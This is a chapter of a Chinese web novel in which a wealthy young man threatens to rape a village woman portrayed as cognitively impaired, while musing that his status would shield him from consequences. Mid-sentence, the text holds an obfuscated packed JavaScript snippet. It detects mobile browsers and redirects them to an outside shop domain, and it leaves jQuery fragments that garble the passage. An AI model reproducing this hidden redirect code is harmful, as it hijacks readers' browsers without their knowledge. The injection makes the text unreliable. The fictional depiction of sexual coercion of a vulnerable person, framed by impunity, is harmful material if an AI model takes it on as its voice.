还能在干什么呢?
于景焕不知道自己问这个问题有什么意义。
他们一对成年男女,住在一个房间里,躺在一张床上,林满杏的身上又有着这样的痕迹……他们在做什么,再清楚不过了。
——更何况,之前林丽娟和林秀芹的态度,也更是说明了一切。
可是即便心里清楚,于景焕还是忍不住死死地盯着那痕迹,像是要生生在上面看出个洞来。
在自己都没反应过来自己问出这个问题后,于景焕甚至怀揣着满满的恶意,想要看看林满杏的反应,想要看到她恼羞成怒的样子。
好像这样他的心里就能痛快一些,那种无法形容的、无处可寻的烦躁和怒意,就能借此发泄出来。
只是让于景焕失望的是,林满杏依旧没有任何羞恼的样子,她只是思考了一下,像是在回忆什么,接着她说:
“我们在……在做夫妻才能做的事情。”
说完,林满杏又补充了一句,“林骞尧是这么说的,他说做这种事情很舒服,但是我感觉就舒服一会儿,后面就不舒服了。”
“……”听到她的回答,于景焕脸上的肌肉都彻底僵硬住了,一点知觉都没有。
他甚至想给刚才的自己一巴掌,问问他为什么要问这种问题来自取其辱,跟个傻子一样上赶着听这对狗男女的床上事情。
他刚才还不如直接咬咬牙,跟林满杏跳下山,起码不用看到这种痕迹,听到这种话!
事到如今,于景焕才不得不承认。
不得不承认,他刚才的确就是出于那么一点不可告人的心思,所以才提出让林满杏就近找个山洞和他过夜这个方案。
他给自己那么多冠冕堂皇的理由,他承认,就是因为他不想承认自己对林满杏有那么点心动的感觉,就是不想承认他好像喜欢上了一个傻子。
可是那怎么了?那又怎么了!
他还有一个多月就要离开这个鬼地方了,就再也见不到林满杏了。他今天受了伤,遭了这么多罪,他不就是找个借口让自己和他心动的人待一个晚上吗?难道这都不可以吗?!
为什么林满杏要这么对他!
为什么连一个放松的晚上都不留给他!
于景焕愤怒而又痛苦地看着林满杏,可让他深感无力的,还是是林满杏那副什么都不知道的样子。
她不知道自己说了什么样的话,也不知道他为什么生气,她甚至连喜欢一个人,和一个人□□这种事情意味着什么都不知道,他的所有愤怒都好像是发泄在了一团棉花上。
于景焕不明白,他到底为什么会为林满杏这个人心动呢?
她明明那么普通,就是这个村里一个随处可见的村姑。
她穿着那对他来说擦桌子都嫌搁着手疼的,布料廉价的睡衣,不属于她的,过分大的外套被随意地套在外面,甚至连她领口处的吻痕都遮挡不住。
视线往下,因为她过于瘦小,而显得空荡荡的裤管上尽数都是溅到的泥点子,甚至裤脚都被泥水弄得有些发黄了。她的脚上还穿着一双被染得看不出是白色的拖鞋,因为长时间在潮湿的土地上走着,她的脚趾和脚背上都还沾着干涸的泥土。
于景焕不明白,她明明这么普通啊,可到底为什么他会因为她——
“于景焕,你为什么一直看这件衣服?”
林满杏不懂他为什么抓着她的肩膀,她只是看见他一直盯着她的衣服看,心里奇怪,于是便开口问了。
于景焕看着她的眼神更复杂了。
他现在甚至有些恨林满杏,恨她是个傻子,恨她什么都不懂,随心所欲地做她想做的事情,她什么都不在乎什么都不知道,却毫不自知地让他因为她这么痛苦。
她凭什么呢?她凭什么是个傻子,什么都不知道就让他喜欢上她!
抱着一种,想要将林满杏一头拉下水的恶劣想法,于景焕懒得去考虑事情的后果,他直接一只手掐住林满杏的下巴,让她只能看着他。
他的眼神逐渐变得幽深,晦暗得像是用浓稠的黑雾溢出,他说:
“……我不是在看这件破衣服,林满杏,我在看你。”
说着,于景焕的另一只手,直接就碰上了那件外套的拉链。
“唰”
拉链被于景焕一口气拉到了底,他看着林满杏里头那件和裤子显然是一套的波点睡衣,食指准确无疑地点上了林满杏锁骨下方的那点红痕,眸光逐渐意味深长起来。
“我在想,如果我现在对你做林骞尧对你做的事情,会怎么样。”
其实也不会怎么样。
于景焕想。
哪怕他真的睡了林满杏,她又能拿他怎么样?她那个废物老公又能拿他怎么样?以他的家世背景,最后的结果只有可能是他们过来求他原谅,希望他大发慈悲能够放过他们。
哪怕他现在把她的肚子给搞大了,他们直接用这个作为证据告他,最后也只会是被人赶出派出所。
他其实可以对林满杏想做他任何想做的事情,他一开始就可以这样。这件事对他的影响,甚至还不如他烧于塍头发的一半来得严重。
几乎只是想到这里,于景焕就感觉自己心里那股凌虐欲在蠢蠢欲动,身体里好像有一头野兽随时会冲出来,将那些下流的、粗暴的想法,彻底付诸实践。
“你是要像上一次那样亲我吗?”
林满杏不知道面前的人,心里此时怀揣着多大的恶意,她只是忽然想起那个她还没睡醒的早晨,于是就这么问了。
“……”于景焕先是一愣。
“是啊。”
但很快,他就回应了她。他甚至有些迫不及待想要看她的反应,反射着亮光的眉钉下,那双眼睛里,满满的全是不加掩饰的恶意。
于景焕现在巴不得把话说得再恶毒,再坏一些。让林满杏跟他求饶,求他不要那么对她。
“我还要做得更过分,我不仅要亲你,我还要跟你上/床,就在这里!”
于景焕直接隔着睡衣,摸上林满杏的小肚子。他没发觉自己的手,其实现在跟得了帕金森一样颤得厉害。而是依旧故意做出一副十恶不赦的样子,用着恶狠狠的声音,学着之前应元白强拉他看的,某些不太健康的片子里的话,威胁林满杏:
“你知道到时候你会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149515|148358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎么样吗?你到时候只能被我搞大肚子,跟个破布娃娃一样躺在这里,动都动不了!”
“林满杏,怎么样?你现在有什么想说的吗?”
说到这里,于景焕又“咻”地一下收回那只摸上林满杏小肚子的手,在自己的衣服上蹭了好几下。
不知道是不是她睡衣的布料太劣质,于景焕感觉自己的手心现在烫得厉害,像是被火给烫伤一样,他一个劲儿地想要分散自己的注意力。
“对于我想对你做的这些事情,你有什么想说的吗?”
“哈——”
回应他的,是林满杏一个长长的哈欠。
“……”于景焕几乎是用力忍着,才不至于被她传染,然后跟着她一起打哈欠,毁掉这个他很努力营造出来的,十八禁的氛围。
这一个哈欠,直接把林满杏的眼泪都打出来了,她是真的很困了,抬手抹了下眼角的泪花,又揉了好几下眼睛,这才用着有些含糊不清的声音说:
“我没有什么想说的,我现在好困。”
接着,林满杏低下头,又重新把衣服外套的拉链拉到顶,不管于景焕还在她面前瞪眼,直接就当着他的面侧躺了下来,就说:
“我要睡觉了。”
于景焕:“……”
“林满杏,你他妈——不许睡!没有我的允许,你不许睡!”
于景焕都要被她气死了,他好不容易有胆子说出那些话,结果林满杏说她要睡觉?于景焕当然不干了,他直接把林满杏抓起来,让她重新坐好,指着她的鼻子就开始咬牙切齿地说:
“我要q/j你,你看不出来吗林满杏?我现在要把你给睡了!”
“喔……”
于景焕也不知道这村姑有没有听懂他说的话,他就看见她似懂非懂地点了下头,然后眼睛一闭就要往下躺。
他于是又用力晃了两下她,把她给晃醒,然后开喷:“林满杏,你到底有没有听懂我说的话!”
林满杏:“听懂了。”
于景焕:“那你说我要干什么?”
林满杏:“你要亲我。”
于景焕:“还有呢?”
林满杏再一次打了个哈欠,她眼皮子都有点快撑不开了,她说:“我不要你亲我。”
于景焕成功给她带偏,忍不住骂人:“靠,为什么!凭什么我不能亲!”
但很快,他又回过神来,俏脸一懵:“不对,亲什么亲,林满杏你说的什么乱七八糟的,我现在可是要——”
于景焕没能把话说完。
因为林满杏直接伸手,揪住了他的舌头。
这下,于景焕彻底僵住了,就像是被咬住了后颈皮不能动弹的豹子。
“因为你舌头上的钉子,刮得我嘴巴好疼。”
在于景焕张口说话的时候,林满杏就看见他嘴巴里银色的东西在她眼前时隐时现,晃来晃去,晃得她眼睛疼。
于是林满杏就那么一伸手,就像是捉鱼一样,一下子伸手捏住了他的舌头,还往外扯了扯。
“你摘掉它,我就让你亲我。”
“然后你就不要再吵我,我要睡觉了。”